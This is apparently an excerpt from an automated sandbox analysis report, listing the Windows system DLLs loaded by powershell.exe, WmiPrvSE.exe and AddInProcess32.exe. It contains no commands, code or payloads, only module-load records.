Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: fastprox.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: ncobjapi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mpclient.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: version.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wmitomi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: comsvcs.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: linkinfo.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntshrui.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cscapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: taskflowdataengine.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cdp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dsreg.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: linkinfo.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntshrui.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cscapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: taskflowdataengine.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cdp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dsreg.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: winmm.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: urlmon.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: wininet.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: iertutil.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: srvcli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: netutils.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: rstrtmgr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: ncrypt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: ntasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: sspicli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: mswsock.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: dnsapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: windows.storage.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: wldp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: profapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: winhttp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: winnsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: winmm.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: urlmon.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: wininet.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: iertutil.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: srvcli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: netutils.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: rstrtmgr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: ncrypt.dll
